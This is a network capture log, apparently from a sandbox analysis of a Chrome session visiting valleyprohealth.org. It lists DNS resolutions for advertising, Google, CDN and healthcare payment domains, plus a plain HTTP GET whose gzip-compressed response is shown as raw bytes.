Apr 24, 2024 14:44:32.784080982 CEST	1.1.1.1	192.168.2.4	0xa10e	No error (0)	listgrowth.ctctcdn.com		18.154.206.40	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.828428984 CEST	1.1.1.1	192.168.2.4	0x306f	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.828428984 CEST	1.1.1.1	192.168.2.4	0x306f	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.828428984 CEST	1.1.1.1	192.168.2.4	0x306f	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.828428984 CEST	1.1.1.1	192.168.2.4	0x306f	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887073040 CEST	1.1.1.1	192.168.2.4	0xb654	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.887509108 CEST	1.1.1.1	192.168.2.4	0x7aef	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:33.752007961 CEST	1.1.1.1	192.168.2.4	0x1045	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:33.752007961 CEST	1.1.1.1	192.168.2.4	0x1045	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.154.142.121	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:33.752285957 CEST	1.1.1.1	192.168.2.4	0x1573	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:34.568217993 CEST	1.1.1.1	192.168.2.4	0x5135	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:34.577073097 CEST	1.1.1.1	192.168.2.4	0x4e09	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.148.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.151.68	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.151.60	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.150.241	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.151.36	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.151.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.586894989 CEST	1.1.1.1	192.168.2.4	0x1414	No error (0)	ib.anycast.adnxs.com		104.254.148.252	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.627551079 CEST	1.1.1.1	192.168.2.4	0xb8ce	No error (0)	cm.g.doubleclick.net		142.251.2.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.627551079 CEST	1.1.1.1	192.168.2.4	0xb8ce	No error (0)	cm.g.doubleclick.net		142.251.2.154	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.627551079 CEST	1.1.1.1	192.168.2.4	0xb8ce	No error (0)	cm.g.doubleclick.net		142.251.2.156	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.627551079 CEST	1.1.1.1	192.168.2.4	0xb8ce	No error (0)	cm.g.doubleclick.net		142.251.2.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567553997 CEST	1.1.1.1	192.168.2.4	0xa176	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.567689896 CEST	1.1.1.1	192.168.2.4	0x5d4b	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:45.459026098 CEST	1.1.1.1	192.168.2.4	0x4811	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:45.459026098 CEST	1.1.1.1	192.168.2.4	0x4811	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.557145119 CEST	1.1.1.1	192.168.2.4	0xb9fa	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.557145119 CEST	1.1.1.1	192.168.2.4	0xb9fa	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.557857037 CEST	1.1.1.1	192.168.2.4	0x3253	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:47.582093954 CEST	1.1.1.1	192.168.2.4	0xa160	No error (0)	x.bidswitch.net	user-data-us-west.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:47.582181931 CEST	1.1.1.1	192.168.2.4	0x7d34	No error (0)	x.bidswitch.net	user-data-us-west.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:47.582181931 CEST	1.1.1.1	192.168.2.4	0x7d34	No error (0)	user-data-us-west.bidswitch.net		35.212.133.238	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.600573063 CEST	1.1.1.1	192.168.2.4	0xd467	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:47.600573063 CEST	1.1.1.1	192.168.2.4	0xd467	No error (0)	simage2v2.pubmnet.com	pug-sfo-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:47.600573063 CEST	1.1.1.1	192.168.2.4	0xd467	No error (0)	pug-sfo-bc.pubmnet.com		104.36.113.107	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.600712061 CEST	1.1.1.1	192.168.2.4	0xf399	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:47.600712061 CEST	1.1.1.1	192.168.2.4	0xf399	No error (0)	simage2v2.pubmnet.com	pug-sfo-bc.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:49.152200937 CEST	1.1.1.1	192.168.2.4	0x9f7c	No error (0)	valleyprohealth.org		35.222.242.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516345024 CEST	1.1.1.1	192.168.2.4	0x8c61	No error (0)	www3.l.google.com		74.125.137.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516819954 CEST	1.1.1.1	192.168.2.4	0x209	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516819954 CEST	1.1.1.1	192.168.2.4	0x209	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516819954 CEST	1.1.1.1	192.168.2.4	0x209	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516819954 CEST	1.1.1.1	192.168.2.4	0x209	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.516855001 CEST	1.1.1.1	192.168.2.4	0x4caa	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.517544031 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.517544031 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.517544031 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.517544031 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.517544031 CEST	1.1.1.1	192.168.2.4	0xd35f	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.518023968 CEST	1.1.1.1	192.168.2.4	0xc373	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.672736883 CEST	1.1.1.1	192.168.2.4	0x3249	No error (0)	maps.google.com		142.250.101.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.828355074 CEST	1.1.1.1	192.168.2.4	0x23ea	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.828375101 CEST	1.1.1.1	192.168.2.4	0x2c96	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:50.828375101 CEST	1.1.1.1	192.168.2.4	0x2c96	No error (0)	scontent.xx.fbcdn.net		31.13.70.7	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:53.029441118 CEST	1.1.1.1	192.168.2.4	0xbbb1	No error (0)	www.healowpay.com		20.121.85.116	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:56.587008953 CEST	1.1.1.1	192.168.2.4	0xe6ab	No error (0)	www.healowpay.com		20.121.85.116	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:02.895407915 CEST	1.1.1.1	192.168.2.4	0xef9b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:02.895407915 CEST	1.1.1.1	192.168.2.4	0xef9b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:03.078567028 CEST	1.1.1.1	192.168.2.4	0x12e7	No error (0)	mycw108.ecwcloud.com		20.84.201.93	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:04.365794897 CEST	1.1.1.1	192.168.2.4	0x9680	No error (0)	static.ctctcdn.com	static.ctctcdn.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:04.366383076 CEST	1.1.1.1	192.168.2.4	0x8df1	No error (0)	static.ctctcdn.com	static.ctctcdn.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:06.433559895 CEST	1.1.1.1	192.168.2.4	0x478b	No error (0)	mycw108.ecwcloud.com		20.84.201.93	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.648689985 CEST	1.1.1.1	192.168.2.4	0xba6f	No error (0)	acsbapp.com		104.22.0.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.648689985 CEST	1.1.1.1	192.168.2.4	0xba6f	No error (0)	acsbapp.com		172.67.11.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.648689985 CEST	1.1.1.1	192.168.2.4	0xba6f	No error (0)	acsbapp.com		104.22.1.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.649189949 CEST	1.1.1.1	192.168.2.4	0x9ad1	No error (0)	acsbapp.com			65	IN (0x0001)	false
Apr 24, 2024 14:45:07.496489048 CEST	1.1.1.1	192.168.2.4	0x80c3	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:07.496489048 CEST	1.1.1.1	192.168.2.4	0x80c3	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.154.142.121	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:07.496611118 CEST	1.1.1.1	192.168.2.4	0x94d1	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:07.917301893 CEST	1.1.1.1	192.168.2.4	0x6a32	No error (0)	cdn.acsbapp.com			65	IN (0x0001)	false
Apr 24, 2024 14:45:07.925535917 CEST	1.1.1.1	192.168.2.4	0x4575	No error (0)	cdn.acsbapp.com		172.67.11.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:07.925535917 CEST	1.1.1.1	192.168.2.4	0x4575	No error (0)	cdn.acsbapp.com		104.22.0.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:07.925535917 CEST	1.1.1.1	192.168.2.4	0x4575	No error (0)	cdn.acsbapp.com		104.22.1.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:09.577318907 CEST	1.1.1.1	192.168.2.4	0x42d0	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 14:45:09.577419043 CEST	1.1.1.1	192.168.2.4	0xb79a	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:09.577419043 CEST	1.1.1.1	192.168.2.4	0xb79a	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.128571987 CEST	1.1.1.1	192.168.2.4	0x4bf0	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:11.129168987 CEST	1.1.1.1	192.168.2.4	0xd503	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:45:14.314189911 CEST	1.1.1.1	192.168.2.4	0xabc8	No error (0)	listgrowth.ctctcdn.com		18.154.206.128	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:14.314189911 CEST	1.1.1.1	192.168.2.4	0xabc8	No error (0)	listgrowth.ctctcdn.com		18.154.206.110	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:14.314189911 CEST	1.1.1.1	192.168.2.4	0xabc8	No error (0)	listgrowth.ctctcdn.com		18.154.206.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:14.314189911 CEST	1.1.1.1	192.168.2.4	0xabc8	No error (0)	listgrowth.ctctcdn.com		18.154.206.40	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.073117018 CEST	1.1.1.1	192.168.2.4	0xe57e	No error (0)	insight.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.073117018 CEST	1.1.1.1	192.168.2.4	0xe57e	No error (0)	insight.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.073117018 CEST	1.1.1.1	192.168.2.4	0xe57e	No error (0)	insight.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.073117018 CEST	1.1.1.1	192.168.2.4	0xe57e	No error (0)	insight.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521456957 CEST	1.1.1.1	192.168.2.4	0xc857	No error (0)	www.google.com		142.250.101.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.521482944 CEST	1.1.1.1	192.168.2.4	0x6d3d	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:45:15.996793032 CEST	1.1.1.1	192.168.2.4	0x80b5	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:15.996793032 CEST	1.1.1.1	192.168.2.4	0x80b5	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.154.142.121	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.997632027 CEST	1.1.1.1	192.168.2.4	0x9808	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:23.376476049 CEST	1.1.1.1	192.168.2.4	0xee99	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:23.376476049 CEST	1.1.1.1	192.168.2.4	0xee99	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.651469946 CEST	1.1.1.1	192.168.2.4	0x44b0	No error (0)	calendar.google.com		142.251.2.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.592782974 CEST	1.1.1.1	192.168.2.4	0x647b	No error (0)	plus.l.google.com		142.250.141.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.593902111 CEST	1.1.1.1	192.168.2.4	0x5e9b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:33.249506950 CEST	1.1.1.1	192.168.2.4	0x68f3	No error (0)	clients6.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:33.249525070 CEST	1.1.1.1	192.168.2.4	0x8ecf	No error (0)	clients6.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.705705881 CEST	1.1.1.1	192.168.2.4	0xc27a	No error (0)	calendar.google.com		74.125.137.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:36.480412960 CEST	1.1.1.1	192.168.2.4	0x1bc	No error (0)	clients6.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:45:36.480437994 CEST	1.1.1.1	192.168.2.4	0xf3c7	No error (0)	clients6.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	35.222.242.251	80	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:44:12.469037056 CEST	434	OUT	GET / HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 24, 2024 14:44:12.711616993 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=20 Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Link: <https://valleyprohealth.org/wp-json/>; rel="https://api.w.org/" Link: <https://valleyprohealth.org/wp-json/wp/v2/pages/1321>; rel="alternate"; type="application/json" Link: <https://valleyprohealth.org/>; rel=shortlink X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate X-Cache: HIT: 3 X-Cache-Group: normal Content-Encoding: gzip Data Raw: 35 61 62 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd db 92 db 46 b2 28 fa 2c 45 ec 7f a8 a1 62 a6 d5 33 0d 10 77 82 2d 75 7b c9 6d cb f2 da 92 ad 91 34 9e 35 cb 76 30 40 a0 48 42 02 09 0e 00 f6 c5 1a 45 ec df d8 3f 70 1e cf 0f 9c b7 fd 29 fb 4b 4e 66 16 ee 04 49 90 cd 96 64 0d 69 ab 49 14 aa 32 b3 b2 b2 b2 32 b3 6e f7 1f ff c1 0b dd e4 66 ce d9 24 99 06 e7 f7 1f e3 17 0b 9c d9 f8 ac c3 67 d2 df 5e 77 58 9c dc 04 fc ac 13 bb 51 18 04 d2 90 4f 9c 4b 3f 8c 4e 59 3c 0d c3 64 f2 a8 73 7e 1f 4a 71 c7 3b bf cf e0 f3 f8 0f 92 c4 be 0b c3 71 c0 d9 1b 67 cc 5e 38 33 67 cc 23 26 49 e9 7b 80 e3 cf 13 f1 80 9f 87 a3 c5 cc 4d fc 70 f6 f0 ea 84 79 27 2c 3e 61 c1 09 f3 8f d9 fb 3c 0b 7e ae 7e 0e 7e 65 67 e2 eb 5f ff 62 3f ff fa 68 